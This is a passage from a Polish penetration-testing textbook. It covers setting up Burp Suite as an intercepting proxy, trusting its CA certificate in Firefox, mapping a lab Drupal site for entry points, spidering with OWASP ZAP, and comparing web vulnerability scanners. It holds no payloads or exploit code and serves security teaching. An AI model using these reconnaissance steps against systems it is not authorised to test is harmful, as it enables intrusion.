W kolejnym kroku zobaczysz następne okno dialogowe (pokazane na rysunku 12.2), które
pozwala na załadowanie pliku konfiguracyjnego. W tym miejscu wystarczy, że klikniesz przycisk
Start Burp, a program zastosuje domyślne ustawienia.

Rysunek 12.2. Wybór konfiguracji programu Burp Suite

3681988c430c7fe1e8567c4e2f281f7b
3
402 Rozdział 12  Aplikacje sieciowe

Po utworzeniu tymczasowego projektu i uruchomieniu programu Burp Suite na ekranie pojawi

się okno główne programu widoczne na rysunku 12.3.

Rysunek 12.3. Domyślny widok programu Burp Suite

Na początek możesz kliknąć przycisk X w prawym górnym rogu, aby ukryć panel Issue Activity,
ponieważ jest on tylko reklamą zachęcającą do zakupu płatnej wersji programu. Po ukryciu tego
panelu okno programu zmieni się i będzie wyglądało tak jak na rysunku 12.4.

Rysunek 12.4. Karta Dashbard w programie Burp Suite

3681988c430c7fe1e8567c4e2f281f7b
3
Korzystanie z przechwytującego serwera proxy 403

W górnej części okna aplikacji dostępne są różne menu rozwijane: Burp, Project, Intruder itd.
Poniżej paska menu umieszczono kilka kart. Każda z nich prowadzi do innego narzędzia ze zbioru
oferowanego przez kolekcję Burp Suite: Dashboard, Target, Proxy, Intruder, Repeater itd. Wśród
nich znajduje się też karta User options, w której można na przykład zmieniać wielkość czcionki
(w dodatkowej karcie Display). Te zmiany lepiej jest wprowadzić teraz, zanim przystąpimy do wła-
ściwej pracy, ponieważ zastosowanie tych ustawień wymaga ponownego uruchomienia programu.
Na razie skupimy się na karcie Proxy. Kliknij tę kartę, aby wyświetlić dostępne na niej karty
konfiguracji. Po wybraniu karty Proxy ekran programu zmieni się całkowicie, prezentując zupełnie
nowy zbiór opcji oraz kilka dodatkowych kart, widocznych na rysunku 12.5.

Rysunek 12.5. Karta Proxy w programie Burp Suite

Po wybraniu karty Proxy kliknij kartę Options, która na rysunku 12.5 znajduje się w drugim
rzędzie kart. Program zaprezentuje wtedy opcje związane z przechwytywaniem żądań i odpowie-
dzi, widoczne na rysunku 12.6. Upewnij się, że zaznaczone jest pole wyboru Intercept requests based
on the following rules i włączony jest pierwszy warunek, tak jak pokazano na rysunku 12.6. Poniżej
zestawu opcji związanych z przechwytywaniem żądań klientów dostępne są opcje przechwytywania
odpowiedzi wysyłanych przez serwer. Podobnie jak poprzednio zaznacz tutaj pole wyboru Intercept
requests based on the following rules i upewnij się, że włączony jest pierwszy warunek z listy.

3681988c430c7fe1e8567c4e2f281f7b
3
404 Rozdział 12  Aplikacje sieciowe

Rysunek 12.6. Opcje serwera proxy w programie Burp Suite

Na karcie Options zdefiniowaliśmy już niezbędne opcje nakazujące programowi Burp Suite
przechowywanie i wyświetlanie żądań oraz odpowiedzi. Kliknij teraz ponownie kartę Intercept, aby
przejść do jej domyślnego widoku, i upewnij się, że przycisk przechwytywania jest włączony (naci-
śnięty i ma w opisie tekst Intercept is on). Teraz program Burp Suite jest gotowy do przechwytywa-
nia dowolnych żądań wysyłanych przez przeglądarkę oraz każdej odpowiedzi, jaka zostanie prze-
słana z wybranego serwera. Mimo to, jeżeli otworzysz po prostu jakąś stronę WWW w przeglądarce
Firefox, to program Burp Suite nie wykaże jeszcze żadnej reakcji. Musisz jeszcze skonfigurować
przeglądarkę tak, żeby używała ona Burp Suite jako serwera proxy. Po odpowiednim skonfiguro-
waniu przeglądarka będzie wysyłać żądania do programu Burp Suite, który domyślnie nasłuchuje
lokalnie na porcie TCP 8080.
Aby skonfigurować serwer proxy w przeglądarce Firefox, należy otworzyć stronę Preferencje,
na przykład wpisując w pasku adresu about:preferences. Ekran opcji w przeglądarce Firefox
(w innych przeglądarkach również) jest dość często modyfikowany, ale po krótkich poszukiwa-
niach na pewno uda Ci się znaleźć właściwe opcje. Przewiń kartę Preferencje (rysunek 12.7) aż do
sekcji Sieć i kliknij przycisk Ustawienia.

3681988c430c7fe1e8567c4e2f281f7b
3
Korzystanie z przechwytującego serwera proxy 405

Rysunek 12.7. Ekran Preferencje w przeglądarce Firefox ESR

Powinno się pojawić okno dialogowe przedstawione na rysunku 12.8, w którym należy wpro-
wadzić zmiany umożliwiające programowi Burp Suite przechwytywanie żądań z przeglądarki
Firefox. Zaznacz opcję Ręczna konfiguracja serwerów proxy, a w polu Serwer proxy HTTP wpisz
adres 127.0.0.1. Podany tu adres trzeba ręcznie wpisać w polu tekstowym. Pamiętaj, że program
Burp Suite domyślne nasłuchuje na porcie TCP 8080, dlatego numer tego portu musisz też wpisać
w polu Port. Upewnij się też, że zaznaczone jest pole wyboru Użyj tego serwera proxy także dla FTP
i HTTPS. Po wprowadzeniu tych zmian kliknij przycisk OK.

Rysunek 12.8. Okno Ustawienia połączenia w przeglądarce Firefox

3681988c430c7fe1e8567c4e2f281f7b
3
406 Rozdział 12  Aplikacje sieciowe

Teraz jesteśmy już gotowi do przeglądania stron WWW w swojej przeglądarce. Wpisz w pasku
adresu http://<AdresIP>, zastępując <AdresIP> właściwym adresem IP maszyny wirtualnej labo-
ratorium naszej książki. Jeżeli wprowadzona wcześniej konfiguracja jest poprawna, to przeglądarka
nie powinna załadować żadnej strony (może sprawiać wrażenie, że się zawiesiła), ponieważ to pro-
gram Burp Suite przechwycił wysłane żądanie. Przejdź teraz do programu Burp Suite i wybierz
w nim kartę Intercept. W oknie programu powinno być widoczne żądanie wysłane przez przeglą-
darkę, takie jak na rysunku 12.9. Masz teraz możliwość przesłania tego żądania dalej do serwera
docelowego bez wprowadzania w nim żadnych zmian, ale możesz też zatrzymać żądanie za pomocą
przycisku Drop. W ten sposób żądanie nigdy nie dotrze do serwera WWW. Na razie jednak kliknij
przycisk Forward, aby przesłać żądanie na adres docelowy.

Rysunek 12.9. Przechwycone żądanie HTTP

Jeżeli żądanie zostało przesłane na właściwy adres IP, a serwer rzeczywiście nasłuchuje połączeń
na porcie TCP 80, to w tym samym oknie pojawi się też odpowiedź, widoczna na rysunku 12.10.
Przekaż ją dalej do przeglądarki, klikając przycisk Forward. Przejdź do okna przeglądarki, w której
powinna być już widoczna strona WWW przesłana przez serwer. Tak wygląda podstawowy tryb
działania przechwytującego serwera proxy. Nie musisz używać programu Burp Suite działającego
w tym trybie, ale świadomość tego, jak działa ten serwer proxy, bardzo ułatwia poznawanie innych
funkcji programu. Aby wyłączyć przechwytywanie żądań w programie Burp Suite, kliknij przycisk
Intercept is On. Dzięki temu zyskasz możliwość używania przeglądarki bez konieczności ręcznego
przesyłania dalej wszystkich żądań i odpowiedzi. Program Burp Suite nadal działa jako serwer
proxy i zapamiętuje wszystkie obsługiwane żądania i odpowiedzi.

3681988c430c7fe1e8567c4e2f281f7b
3
Korzystanie z przechwytującego serwera proxy 407

Rysunek 12.10. Odpowiedź HTTP wyświetlana w programie Burp Suite

Zauważ, że jeżeli teraz zamkniesz program Burp Suite, to stracisz możliwość przeglądania stron
WWW, ponieważ przeglądarka będzie nadal wysyłała żądania na adres 127.0.01:8080. Aby przy-
wrócić przeglądarkę do stanu pierwotnego, musisz ponownie wykonać przedstawione wcześniej
kroki i wyłączyć opcję nakazującą używanie serwera proxy. Istnieją też dodatki do przeglądarki
Firefox, które bardzo ułatwiają włączanie i wyłączanie opcji serwera proxy, takie jak FoxyProxy
(https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard). Po zapoznaniu się z koncep-
cją pracy związaną z przechwytywaniem żądań i odpowiedzi HTTP (zaraz zajmiemy się protoko-
łem HTTPS) w programie Burp Suite możesz przejść do karty Target.
Jeżeli nadal będziesz korzystać z przeglądarki, pozostawiając uruchomiony program Burp Suite,
to po lewej stronie, na karcie Target i jej wewnętrznej karcie Site Map zobaczysz dane wielu zaso-
bów (stron WWW i innych). Kliknięcie na liście niewielkiej strzałki znajdującej się po lewej stronie
adresu docelowego albo kliknięcie prawym przyciskiem myszy na samym adresie i wybranie z menu
kontekstowego pozycji Expand Branch spowoduje rozwinięcie tej pozycji listy. Zobaczysz wtedy
informacje o różnych plikach i katalogach, takie jak na rysunku 12.11. Możesz tutaj klikać kolejne
strzałki na liście, aby coraz bardziej rozwijać to drzewo informacji.
Program Burp Suite tworzy mapę aplikacji sieciowej, która wygląda jak struktura drzewiasta.
Pojawiają się na niej również takie zasoby, których przeglądarka nie żądała bezpośrednio, oraz takie,
które nie znajdują się na samym serwerze WWW. Burp Suite wyszukuje informacje o tych zasobach,
analizując przechwytywane odpowiedzi i szukając w nich odwołań do zewnętrznych zasobów.

3681988c430c7fe1e8567c4e2f281f7b
3
408 Rozdział 12  Aplikacje sieciowe

Rysunek 12.11. Narzędzie Site Map w programie Burp Suite

Używanie programu Burp Suite z protokołem HTTPS

W pewnym momencie na pewno zajdzie konieczność łączenia się z witrynami udostępnianymi
przez protokół HTTPS (wiele aplikacji sieciowych działa wyłącznie za pośrednictwem tego protokołu),
które na porcie TCP 80 jedynie przekierowują użytkowników na port TCP 443. Jeżeli spróbujesz w prze-
glądarce uzyskać dostęp do laboratorium naszej książki, wpisując w pasku adresu https://<AdresIP>,
to zauważysz, że program Burp Suite nie jest w stanie uzyskać dostępu do zawartości tej strony. Aby
program mógł analizować ruch HTTPS, musisz uzyskać certyfikat dla tego programu i zaimporto-
wać go do przeglądarki, tak żeby ufała ona, że ma do czynienia z bezpiecznym połączeniem. W tym
celu musisz wpisać w przeglądarce adres http://localhost:8080. Po naciśnięciu klawisza Enter
zobaczysz ekran podobny do przedstawionego na rysunku 12.12. Kliknij tutaj łącze CA Certificate.

Rysunek 12.12. Certyfikat programu Burp Suite

3681988c430c7fe1e8567c4e2f281f7b
3
Korzystanie z przechwytującego serwera proxy 409

Pojawi się wtedy okienko pobierania pliku z rysunku 12.13. Zapisz plik w domyślnym katalogu
przeznaczonym dla pobranych plików. W kolejnym kroku zaimportujesz ten certyfikat do swojej
przeglądarki Firefox.

Rysunek 12.13. Zapisywanie certyfikatu programu Burp Suite

Po zapisaniu certyfikatu na swoim komputerze możesz zaimportować go w przeglądarce.

Otwórz ponownie stronę Preferencje, ale tym razem przejdź do sekcji Prywatność i bezpieczeństwo,
a następnie przewiń ją aż na sam dół. Tutaj znajdziesz opcje związane z obsługą certyfikatów.
Kliknij przycisk Wyświetl certyfikaty, tak jak na rysunku 12.14, a pojawi się okno dialogowe.

Rysunek 12.14. Ustawienia Prywatności i bezpieczeństwa w przeglądarce Firefox

3681988c430c7fe1e8567c4e2f281f7b
3
410 Rozdział 12  Aplikacje sieciowe

W oknie dialogowym Menedżer certyfikatów (pokazane na rysunku 12.15) upewnij się, że

zaznaczona jest karta Organy certyfikacji (jest wybierana domyślnie). Jest to konieczne, ponieważ
będziemy tu importować certyfikat nowego organu certyfikacji. Kliknij przycisk Importuj…,
a następnie odszukaj i wybierz plik pobrany ze strony programu Burp Suite.

Rysunek 12.15. Menedżer certyfikatów przeglądarki Firefox

Na ekranie pojawią się kolejne opcje dotyczące importowanego certyfikatu, takie jak na ry-
sunku 12.16. W tym oknie dialogowym zaznacz opcję Zaufaj temu CA przy identyfikacji witryn
internetowych i kliknij przycisk OK. Zwróć uwagę na to, że importowany organ certyfikacji nazywa
się PortSwigger CA. PortSwigger jest też nazwą firmy, która rozwija program Burp Suite.

Rysunek 12.16. Importowanie certyfikatu PortSwigger CA

Po zaimportowaniu certyfikatu PortSwigger CA możesz ponownie spróbować połączyć się z la-

boratorium tej książki na porcie TCP 443. Wpisz odpowiedni adres w przeglądarce, uprzednio wy-
bierając w niej serwer proxy programu Burp Suite. Teraz przeglądanie strony przy użyciu proto-
kołu HTTPS nie powinno już sprawiać prawie żadnych problemów. Przy pierwszej próbie otwarcia
strony w przeglądarce Firefox może pojawić się komunikat przedstawiony na rysunku 12.17.
W takiej sytuacji kliknij przycisk Zaawansowane….

3681988c430c7fe1e8567c4e2f281f7b
3
Korzystanie z przechwytującego serwera proxy 411

Rysunek 12.17. Potencjalne zagrożenie bezpieczeństwa

Po kliknięciu tego przycisku pojawi się kolejny przycisk — Akceptuję ryzyko, kontynuuj, tak jak
pokazano na rysunku 12.18.

Rysunek 12.18. Przycisk Akceptuję ryzyko, kontynuuj

3681988c430c7fe1e8567c4e2f281f7b
3
412 Rozdział 12  Aplikacje sieciowe

Ręczne przeglądanie stron

Po skonfigurowaniu serwera proxy możesz zacząć przeglądanie zawartości wybranej witryny, tak
jakby zrobił to typowy użytkownik internetu. Najpierw upewnij się jednak, że w programie Burp
Suite wyłączona została funkcja przechwytywania żądań i odpowiedzi. Jeżeli będzie nadal włą-
czona, to witryna nie pojawi się w przeglądarce, dopóki ręcznie nie prześlesz dalej wielu różnych
żądań i odpowiedzi. To typowy problem trapiący początkujących użytkowników programu, którzy
nie zdają sobie sprawy z tego, że przeglądarka będzie oczekiwała na odpowiedź serwera, która nie
nadejdzie, bo serwer proxy zatrzymał samo żądanie. Po wyłączeniu funkcji przechwytywania pro-
gram Burp Suite i tak zapamiętuje wszystkie przesyłane przez niego żądania i odpowiedzi.
Bardzo ważne jest ręczne przeglądanie zawartości aplikacji sieciowej bez jednoczesnego poszu-
kiwania ewentualnych podatności, ponieważ daje to możliwość zapoznania się ze sposobem pracy
z tą aplikacją, poznania oczekiwanych zachowań oraz stosowanych projektów, które to informacje
pomogą nam w dalszych pracach. Osoby początkujące w dziedzinie hakowania aplikacji sieciowych
mogą mieć poczucie, że tracą czas na dokładne poznawania wszystkich zakamarków aplikacji. Jest
to jednak niezbędne przygotowanie do późniejszych badań i do ustalania priorytetów dla różnych
części witryny, które będziemy chcieli przetestować nieco dokładniej. Jeżeli w ten sposób przejrzysz
aplikację z laboratorium naszej książki, która jest dostępna na porcie protokołu HTTPS, to dowiesz
się, że ktoś w naszym zespole jest fanem serialu My Little Pony. Na pierwszy rzut oka aplikacja
wygląda jak strona przygotowana przez fana (rysunek 12.19).

Rysunek 12.19. Aplikacja sieciowa z laboratorium naszej książki (1)

3681988c430c7fe1e8567c4e2f281f7b
3
Ręczne przeglądanie stron 413

Dzięki temu, że program Burp Suite zbiera w tle informacje, możesz zacząć ręcznie przeglądać
zawartość tej aplikacji, upewniając się, że odwiedzasz wszystkie strony i klikasz wszystkie prezen-
towane łącza oraz zapisujesz sobie miejsca, do których chcesz jeszcze wrócić, aby przejrzeć je do-
kładniej. Przy okazji należy zwracać uwagę na wszelkie informacje, które mogą ujawnić nazwę uży-
wanego oprogramowania, a może i na ewentualnie pojawiające się podatności. Czy za obsługę tej
aplikacji odpowiada system CMS, czy może jakiś inny framework? Czy uda się wykryć, jaki język
programowania używany jest po stronie serwera? Czy aplikacja udostępnia opcje, w których użyt-
kownicy mogą wprowadzać własne dane? Czy pojawia się strona uwierzytelniania, na której użyt-
kownicy muszą podawać swoją nazwę i hasło? Czy dostępny jest gdzieś formularz rejestrowania
nowych użytkowników? A może istnieje formularz kontaktu z prowadzącymi tę aplikację? Czy tre-
ści na tej stronie sprawiają wrażenie, jakby były pobierane z jakiejś bazy danych? Jeżeli zobaczysz
stronę sprzedaży jakichś produktów albo stronę wyświetlającą notatki blogowe (to tylko kilka przy-
kładów), to niemal na pewno aplikacja korzysta z bazy danych, a wtedy warto sprawdzić, czy ist-
nieje jakiś sposób interakcji z tą bazą, o którym nie pomyśleli programiści tworzący aplikację. Dobrze
jest też zwracać uwagę na zawartość paska adresu przeglądarki. Jak wyglądają poszczególne adresy
URL? Bardzo możliwe, że znajdziesz tam parametry, które można ręcznie zmieniać. Na tym etapie
nie chcemy jeszcze za bardzo zagłębiać się w te aspekty aplikacji, skupiając się raczej na poznaniu
ogólnych, obowiązujących w niej zasad.
Podczas przeglądania strony widocznej na rysunku 12.19 od razu można wskazać kilka elemen-
tów, jakie będą później wymagały dokładniejszego zbadania:
 Pole wyszukiwania.
 Formularz logowania użytkownika.
 Łącza tworzenia nowego konta i żądania wprowadzenia nowego hasła.
 Łącze z przykładowym dokumentem XML.
 Całość aplikacji sprawiająca wrażenie bloga.
Jeżeli przewiniesz stronę na sam koniec, to zobaczysz jeszcze więcej informacji, przestawionych
na rysunku 12.20. Znajdziesz tutaj potwierdzenie, że mamy do czynienia z blogiem, ponieważ wi-
doczny jest tutaj tekst Posted By webadmin oraz ikona usługi RSS. Na samym dole strony znajdują
się też słowa Powered by Drupal. Drupal jest popularnym frameworkiem dla systemów zarządzania
treściami (CMS — Content Management System). Jeżeli udałoby się zdobyć jeszcze numer wersji
tego frameworku, to moglibyśmy poszukać pasujących do niego podatności. Kliknij teraz łącze
read more znajdujące się pod obrazkiem, a otwarta zostanie kolejna strona, której adres URL wy-
gląda tak: https://192.168.48.14/?q=node/2, choć adres IP w Twoim systemie może wyglądać nieco
inaczej. W tym adresie URL znajduje się parametr, który należy dopisać do listy rzeczy do spraw-
dzenia na późniejszym etapie. Przewiń tę stronę na sam dół, a zobaczysz formularz dodawania no-
wego komentarza. Można go wykorzystać do prób wstrzyknięcia złośliwych ciągów znaków i w ten
sposób szukać różnych słabości w zabezpieczeniach systemu. Informację o formularzu też należy
dopisać do tworzonej listy. Z całą pewnością wrócimy później do tego formularza!
Na razie jeszcze nie do końca wiadomo, czego właściwie należy poszukiwać w tej aplikacji.
To właśnie dlatego tak przydatne są tutaj różne metodologie oraz listy kontrolne. Gdy już zapre-
zentujemy kilka często występujących podatności, łatwiej będzie Ci przeszukiwać zawartość każdej
następnej aplikacji.

3681988c430c7fe1e8567c4e2f281f7b
3
414 Rozdział 12  Aplikacje sieciowe

Rysunek 12.20. Aplikacja sieciowa z laboratorium naszej książki (2)

Gdy już spędzisz trochę czasu na przeglądaniu aplikacji i sporządzaniu notatek, przejdź do pro-
gramu Burp Suite i otwórz kartę Target, a następnie kartę Site Map. Po prawej stronie ekranu znaj-
duje się tu panel zawierający wszystkie przechwycone żądania rozmieszczone w różnych kolumnach:
Host, Method, URL itd. W panelu poniżej widoczne są kolejne karty. Są tu na przykład sekcje Request
(żądanie) i Response (odpowiedź), a w nich karty Raw, Params, Headers i Hex. Umożliwiają one prze-
glądanie zawartości każdego żądania i odpowiedzi, a także prezentowanie ich w różnych formatach.

Hakowanie zawsze wymaga „zaglądania pod maskę” technologii stosowanych

w danej aplikacji. To jedyna metoda poznania zasad jej działania. Proces wykorzystujący
przechwytujące serwery proxy jest powszechnie stosowaną metodą, umożliwiającą zespo-
łom bezpieczeństwa analizę działania aplikacji sieciowych. Takie narzędzia pomagają też
programistom przy debugowaniu tworzonych aplikacji.

Spróbuj też użyć dowolnych formularzy, jakie znajdziesz na stronach aplikacji, wpisując w nich
różne kombinacje nazw użytkowników, haseł, znaków specjalnych i innych. Serwer proxy będzie
przechwytywał również żądania zawierające dane z tych formularzy oraz odpowiedzi generowane
przez serwer. To również pozwala zbudować sobie obraz tego, w jaki sposób działa badana aplikacja.

3681988c430c7fe1e8567c4e2f281f7b
3
Używanie pająków 415

Używanie pająków
Na temat pająków mówiliśmy już w rozdziale 7. przy okazji omawiania sposobów odczytywania
treści sieciowych przez wyszukiwarki. Tych samych mechanizmów można też używać do wykry-
wania ukrytych treści albo tych części witryny, które pominęliśmy w trakcie ręcznego przeglądania
stron. Podczas korzystania z pająków (ale i innych zautomatyzowanych narzędzi) trzeba jednak
zachować ostrożność, ponieważ czasami mogą one spowodować uszkodzenia w aplikacji sieciowej,
szczególnie w przypadku, gdy są one używane w połączeniu z danymi uwierzytelniającymi. Najle-
piej byłoby, gdyby nasz klient na potrzeby testów udostępnił też klon swojego środowiska produk-
cyjnego (na przykład środowisko przedprodukcyjne). Jednak nawet w takiej sytuacji należy zachować
ostrożność, żeby nie sprawić kłopotów sobie lub klientowi. Dawniej darmowy wariant programu
Burp Suite zawierał również moduł pająka, ale najnowsze wersje zostały pozbawione tego modułu.
Na szczęście w tym miejscu możemy skorzystać z narzędzia OWASP Zed Attack Proxy (ZAP) dostęp-
nego pod adresem www.zaproxy.org. Na rysunku 12.21 prezentujemy ekran główny programu ZAP.

Rysunek 12.21. Ekran główny programu ZAP

Zachęcamy też do wypróbowania innych funkcji programu ZAP, takich jak narzędzie do auto-
matycznego skanowania, i najlepiej skorzystać przy tym z laboratorium naszej książki. Na razie
ograniczymy się do użycia pająka, którego można uruchomić przez wybranie z menu pozycji
Tools/Spider. Równie dobrze można też skorzystać ze skrótu klawiszowego Ctrl+Alt+S. Pojawi się
wtedy okno dialogowe modułu spider (pokazane na rysunku 12.22), które pozwala na wprowadze-
nie adresu startowego. Ten adres należy wprowadzić w polu Starting Point, używając przy tym for-
matu http://<AdresIP>. Nie trzeba natomiast wybierać żadnej wartości w polach Content oraz User.

3681988c430c7fe1e8567c4e2f281f7b
3
416 Rozdział 12  Aplikacje sieciowe

Niewybranie żadnych wartości w tych polach sprawi, że pająk będzie korzystał z aplikacji jako nie-
zalogowany użytkownik. Możesz natomiast zaznaczyć opcję Spider Subtree Only, aby zakazać pa-
jąkowi podążania za zewnętrznymi linkami. Pozostałe opcje można pozostawić bez zmian. Na za-
kończenie wystarczy kliknąć przycisk Start Scan i przyglądać się, jak program ZAP wysyła kolejne
żądania do badanej aplikacji.

Rysunek 12.22. Okno dialogowe Spider w programie ZAP

Lista takich żądań wyświetlana jest w dolnej części okna Spider, co widać też na rysunku 12.23.

Rysunek 12.23. Pająk z programu ZAP wysyła żądania HTTP

3681988c430c7fe1e8567c4e2f281f7b
3
Wyszukiwanie punktów wejściowych 417

Taka kombinacja ręcznego przeglądania i używania pająka oraz innych skanerów podatności
w aplikacjach sieciowych (takich Dirb i Nikto) powinna dać nam pełny obraz zawartości badanej
aplikacji sieciowej. Cały czas trzeba też poszukiwać „ukrytych” plików konfiguracyjnych, które
mogą ujawniać różne ważne informacje, takie jak nazwy użytkowników, hasła, numery wersji opro-
gramowania itp. Jeżeli pobierzesz dane zgromadzone przez różne narzędzia i umieścisz je w jednym
arkuszu kalkulacyjnym, to mogą one pomóc w dalszych analizach oraz posłużyć jako wejście dla
kolejnych narzędzi.

Wyszukiwanie punktów wejściowych

Po zbudowaniu pełnej mapy badanej aplikacji sieciowej, czy to za pomocą programu Burp Suite,
czy ZAP lub innego narzędzia, choćby nawet prostego arkusza kalkulacyjnego, możemy przystąpić
do wyszukiwania najlepszych miejsc do wstrzykiwania złośliwych danych, aby wywołać w aplikacji
nieoczekiwane zachowania. W programie Burp Suite na mapie aplikacji wyświetlane są specjalne
ikony wyróżniające miejsca w aplikacji związane z żądaniami typu POST. Zazwyczaj to właśnie
w takich miejscach można próbować dostępu do bazy danych lub innych elementów infrastruk-
tury, na przykład oprogramowania serwera WWW albo systemu operacyjnego. Pamiętaj, że punk-
tami wejściowymi nie muszą być wyłącznie pola formularzy i parametry w adresach URL. Podobną
funkcję mogą spełniać też nagłówki żądań HTTP, ciasteczka oraz inne dane przesyłane do aplikacji.
Po wykryciu istniejących punktów wejścia można zacząć próby wstrzykiwania w nie spreparowa-
nego payloadu i obserwowania odpowiedzi przesyłanych przez aplikację. Można wtedy porównywać
te odpowiedzi z odpowiedziami na poprawne żądania, które można było zaobserwować już wcześniej.
Takie porównania można wykonywać ręcznie (kilka przykładów pokażemy już za chwilę), ale można
też wykorzystać skanery podatności, ponieważ dokładnie na tym polega zasada ich działania. Skanery
również wstrzykują do aplikacji poprawne i złośliwe treści, a następnie porównują uzyskane wyniki.

Skanery podatności w aplikacjach sieciowych

Wiele narzędzi powstało jako próba szybkiego zbudowania obrazu podatności istniejącej w całej
witrynie WWW lub aplikacji sieciowej. Komercyjna wersja programu Burp Suite zawiera kilka po-
tężnych narzędzi z tej kategorii, ale poza tym dostępnych jest też kilka bezpłatnych rozwiązań. Już
wcześniej wspominaliśmy o programach Dirb i Nikto, które można wykorzystywać do wykrywania
różnych słabości w aplikacjach sieciowych. Z kolei program SSLscan jest narzędziem, którego
można używać do wykrywania problemów z obsługą protokołów SSL i TLS na wskazanym hoście.
W tym podrozdziale zaprezentujemy kolejne ciekawe narzędzia. Zachęcamy do ciągłego wy-
próbowywania i testowania nowych narzędzi, a jednocześnie przypominamy, żeby nigdy nie ufać
całkowicie wynikom zwracanym przez te narzędzia.
Narzędzia do automatycznego skanowania i testowania aplikacji sieciowych (często są nazywane
aktywnymi skanerami) pozwalają na szybkie sprawdzenie wielu elementów aplikacji i ujawnienie
większych niedoskonałości, ale nie są one w stanie całkowicie zastąpić ręcznego testowania. Używając
tych narzędzi, nie nauczysz się też metod stosowanych do wykrywania różnych podatności.

3681988c430c7fe1e8567c4e2f281f7b
3
418 Rozdział 12  Aplikacje sieciowe

Zachowaj ostrożność przy używaniu zautomatyzowanych narzędzi, takich

jak pająki i skanery podatności, szczególnie jeżeli działają one z wykorzystaniem danych
uwierzytelniających. Po zalogowaniu się jako jeden z użytkowników możesz mieć dostęp
do różnych funkcji administracyjnych sprawdzanej aplikacji sieciowej. Pamiętaj, że pająki
i inne automatyczne narzędzia bez żadnego wahania uruchamiają wszystkie znalezione
funkcje, co w najgorszym przypadku może doprowadzić do usunięcia całej bazy danych
z serwerów Twojego klienta.
Zawsze upewniaj się, że tego typu narzędzia uruchamiane są w kontekście nieuwierzytelnio-
nego (czyli anonimowego) użytkownika. Jeżeli anonimowy użytkownik będzie w stanie usunąć
bazę danych za pośrednictwem aplikacji sieciowej, to Twój klient ma naprawdę poważny problem!
Jeżeli Twój klient przekazał Ci dane uwierzytelniające jednego lub kilku użytkowników apli-
kacji sieciowej, to staraj się koncentrować na tych obszarach aplikacji, które mają dużą
szansę na ujawnienie systemu bazy danych albo innych systemów przechowujących infor-
macje dla aplikacji.

Zed Attack Proxy

Zed Attack Proxy (ZAP) to narzędzie bardzo podobne do programu Burp Suite. Składa się z wielu
mniejszych narzędzi przeznaczonych do testowania aplikacji sieciowych i jest udostępniane na za-
sadach otwartych źródeł. Pełną wersję programu można pobrać i używać jej bez żadnych opłat.
W tym pakiecie znajdziesz narzędzie do aktywnego skanowania aplikacji, które można uruchomić
za pomocą skrótu klawiszowego Ctrl+Alt+A albo przez wybranie pozycji Active Scan z menu Tools
w głównym oknie programu. Definiowanie opcji tego narzędzia i uruchamianie go to działania
bardzo podobne do tych, jakie opisywaliśmy wcześniej dla modułu Spider. Na rysunku 12.24 przed-
stawiamy tutaj kartę Alerts. Wszystkie problemy aplikacji wykryte przez moduł Active Scan zostaną
umieszczone w tej karcie. Później możesz zaznaczyć na liście każdą z wykrytych pozycji i uzyskać na jej
temat szczegółowe informacje. Na stronie www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
znajdziesz bardzo szczegółową dokumentację całego programu ZAP.

Rysunek 12.24. Karta Alerts w programie ZAP

3681988c430c7fe1e8567c4e2f281f7b
3
Skanery podatności w aplikacjach sieciowych 419

Burp Suite Professional

Komercyjna wersja programu Burp Suite (nazywana Burp Suite Professional) zawiera narzędzia do
automatycznego skanowania w postaci skanera pasywnego i aktywnego. Oba te narzędzia są świet-
nym uzupełnieniem dla testowania ręcznego oraz pozostałych narzędzi automatycznych, których
jeszcze będziemy używać. Skaner pasywny w celu poszukiwania podatności korzysta z wykonywa-
nych przez nas żądań sieciowych i nie wprowadza do nich zmian. Z kolei skaner aktywny samo-
dzielnie wysyła tysiące generowanych żądań, próbując w ten sposób wychwycić słabości w testo-
wanej aplikacji. Oczywiście można kontrolować sposób tworzenia i wysyłania tych żądań, tak żeby
testowane były tylko wybrane części aplikacji. Możliwe jest też zmniejszenie częstości wysyłania
kolejnych żądań, aby nie przeciążyć sprawdzanego serwera aplikacji.
Zalecamy korzystanie z wersji Burp Suite Professional w przypadku, gdy musisz testować wiele
różnych aplikacji sieciowych, ale dopiero po tym, jak nauczysz się ręcznie wyszukiwać i wykorzy-
stywać typowe błędy i podatności w aplikacjach sieciowych. Funkcja aktywnego skanera z pakietu
Burp Suite Professional, podobnie jak każdy zautomatyzowany skaner podatności, niemal na
pewno wygeneruje wiele fałszywych alarmów. Każdy z problemów zgłoszonych przez tego typu
narzędzia musi być zatem ręcznie potwierdzony, a wtedy często okaże się, że we wskazanym miej-
scu nie ma tak naprawdę żadnego problemu. Przykładem może być zgłoszenie „wykryto numery
kart kredytowych”. Po zobaczeniu takiego komunikatu można aż podskoczyć z radości, bo tak ła-
twe znalezienie tak poważnej luki jest czymś niezwykłym. Być może masz do tego niezwykły talent?
Dobrze jest jednak jeszcze raz przyjrzeć się tej sprawie. Aktywny skaner oznaczy tym komunikatem
dowolny znaleziony na stronie WWW ciąg znaków, który choć trochę przypomina numer karty
kredytowej. To tylko jeden z przykładów. Co więcej, program Burp Suite Professional ma specjalną
funkcję, która umożliwia oznaczanie zgłoszonych błędów jako fałszywe, co bardzo ułatwia segre-
gowanie wyników.

Skipfish
Skipfish (https://code.google.com/archive/p/skipfish) to narzędzie do aktywnego skanowania aplika-
cji sieciowych, które zostało wydane przez firmę Google. Jego autorem jest Michał Zalewski, znany
ekspert do spraw bezpieczeństwa, który znalazł wiele metody skutecznego poszukiwania podatno-
ści w aplikacjach. Skipfish to niezwykle dokładny skaner podatności (udostępniany w postaci kodu
źródłowego), który jest w stanie przeprowadzić cały zestaw zróżnicowanych ataków wyszukujących
problemy z listy OWASP Top 10 oraz wiele innych podatności. Jest to narzędzie polecane dla użyt-
kowników chętnie korzystających z wiersza poleceń, którzy na co dzień używają całego zbioru róż-
nych narzędzi. Wyniki skanowania zwracane są w postaci czytelnych plików HTML. Ten skaner
zestawiony z programem Mitmproxy jest świetną alternatywą dla pakietu Burp Suite. Jest to jednak
znacznie bardziej zaawansowane narzędzie, które do skutecznego działania wymaga zastosowania
odpowiedniej konfiguracji. Zalecamy zainteresowanie się nim dopiero wtedy, gdy obsługa opisy-
wanych wcześniej narzędzi nie będzie sprawiać Ci żadnych problemów.

3681988c430c7fe1e8567c4e2f281f7b
3
420 Rozdział 12  Aplikacje sieciowe

Poszukiwanie podatności
Podczas testowania aplikacji sieciowych należy używać mieszanki automatycznego skanowania
